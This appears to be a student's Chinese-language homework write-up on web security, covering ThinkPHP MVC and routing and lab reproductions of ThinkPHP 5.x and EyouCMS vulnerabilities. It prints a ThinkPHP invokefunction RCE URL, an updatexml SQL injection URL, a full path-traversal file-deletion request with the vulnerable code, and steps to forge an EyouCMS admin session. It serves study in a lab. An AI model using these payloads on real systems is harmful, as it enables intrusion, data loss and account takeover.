作业6.22
1、请简述什么是mvc设计模式?在thinphp框架中,mvc中的c一般有什么特征?(比如一般在xx目录,文件名特征等)
MVC是一个设计模式,它强制性的使应用程序的输入、处理和输出分开。使用MVC应用程序被分成三个核心部件:模型(M)、视图(V)、控制器(C),它们各自处理自己的任务。一般在application目录和public目录。
2、请简述 thinkphp框架搭建的网站,一般如何获取用户输入参数?tinkphp框架的网站的路由形式有哪些?
thinkphp框架一般使用助手函数获取用户输入参数,常见的助手函数有include,param,get,post函数。
thinkphp框架的网站的路由方式:
系统默认路由:http://网址/入口文件/模块名(分组名)/控制器名/方法/参数名/参数值
兼容路由:http://网址/入口文件?s=/模块名(分组名)/控制器名/方法名/参数名/参数值
3、请使用composer搭建一个thinkphp框架,版本是5.0.15,然后使用课程提供的攻击工具进行攻击和利用,如果攻击不成功,请分析原因并进行调整,如果攻击成功,请分析哪些是工具的误报,哪些是真实的漏洞。
攻击不成功的原因:
因为工具只在根目录发包,没有包含子域名。
需要在bp里修改数据包流程如下:
- 需要将顶级域名加入到范围 例如:http://tp
- 设置HTTP match and replace rules也就是在其中添加一条规则。规则如下:
类型:请求行、匹配:GET /、替换:GET /tp5/public/(即你需要扫的子域名) - 还可以勾选上"仅应用到范围内条目",这样不应期其他的数据包
- 这样攻击成功后发现只有两条可以成功利用。分别是:
[]Thinkphp_5.x_Invoke_RCE_payload12: http://tp/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
[]Thinkphp_5.x_SQL_payload11: http://tp/index.php/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)%23
4、结合课堂内容,请搭建并复现eyoucms的文件删除漏洞并说明为什么该漏洞是一个前台漏洞。
复现:
1)首先注册一个普通用户的账号。
2)访问/index.php?m=user&c=Uploadify&a=delupload
存在问题的代码如下:
public function delupload()
{
if (IS_AJAX_POST) {
$action = input('param.action/s','del');
$filename= input('param.filename/s');
$filename= empty($filename) ? input('url') : $filename;
$filename= str_replace('../','',$filename);
$filename= trim($filename,'.');
$filename = preg_replace('#^(/[/\w]+)?(/public/upload/|/uploads/)#i', '$2', $filename);
if(eyPreventShell($filename) && $action=='del' && !empty($filename) && file_exists('.'.$filename)){
$fileArr = explode('/', $filename);
if ($fileArr[3] != $this->users_id) {
return false;
}
$filetype = preg_replace('/^(.*)\.(\w+)$/i', '$2', $filename);
$phpfile = strtolower(strstr($filename,'.php')); //排除PHP文件
$size = getimagesize('.'.$filename);
$fileInfo = explode('/',$size['mime']);
if($fileInfo[0] != 'image' || $phpfile || !in_array($filetype, explode(',', config('global.image_ext')))){
exit;
}
if(@unlink('.'.$filename)){
echo 1;
}else{
echo 0;
}
exit;
}
echo 1;
exit;
}
}
3)用post方法构造访问访问上述目录的bp包请求数据如下:
POST /index.php?m=user&c=Uploadify&a=delupload HTTP/1.1
Host: eyoucms
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: thinkphp_show_page_trace=0|0; workspaceParam=welcome%7CIndex; PHPSESSID=798ltfqemer5rars2pg9bhi1k9; home_lang=cn; admin_lang=cn; users_id=4; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; thinkphp_show_page_trace=0|0
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
filename=/uploads/....//4/....//....//....//....//....//....//....//1.jpg&resource=reg
4)因为有严格的过滤只能删除图片文件。其中加了几条数据。
- 绕过AJAX身份认证:X-Requested-With: XMLHttpRequest
- 为了满足一下两条语句判断需要这样给出参数。/uploads/....//4/....//....//....//....//....//....//....//1.jpg&resource=reg
$fileArr[3] != $this->users_id
$fileInfo[0] != 'image' || $phpfile || !in_array($filetype, explode(',', config('global.image_ext')))
为什么是前台漏洞:
因为当满足这些条件的时候,可以直接访问,无需判断权限问题
条件就在\user\controller\Base.php 55行
$resource = input('param.resource/s');
if ('Uploadify@*' == $ctl_all && 'reg' == $resource) {
// 注册时上传图片不验证登录行为
}
5、分析eyoucms的认证绕过漏洞原理,官方是如何修复该漏洞的
1)首先是有个方法可以在不登录的情况下访问得到。即eyoucms/index.php?m=api&c=Ajax&a=get_token
2)然后其中有个判断函数是IS_AJAX,函数的作用是查看http请求头中是否有如下:
HTTP_X_REQUESTED_WITH: xmlhttprequest
3)如果有就好执行危险函数token()其中只有name这个参数可以控制。
4)函数会计算当前时间的md5值和name一起返回。
5)最重要的是会执行Session::set($name, $token);而其中name是可控的。
6)最后可以用fuzz爆破cookie,用cookie直接登录管理员账号。
7)在浏览器中F12中找到应用程序中修改Cookie,删除login.php后面的内容刷新即可。
官方修复建议:
升级EyouCMS至V1.5.2或以后版本
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】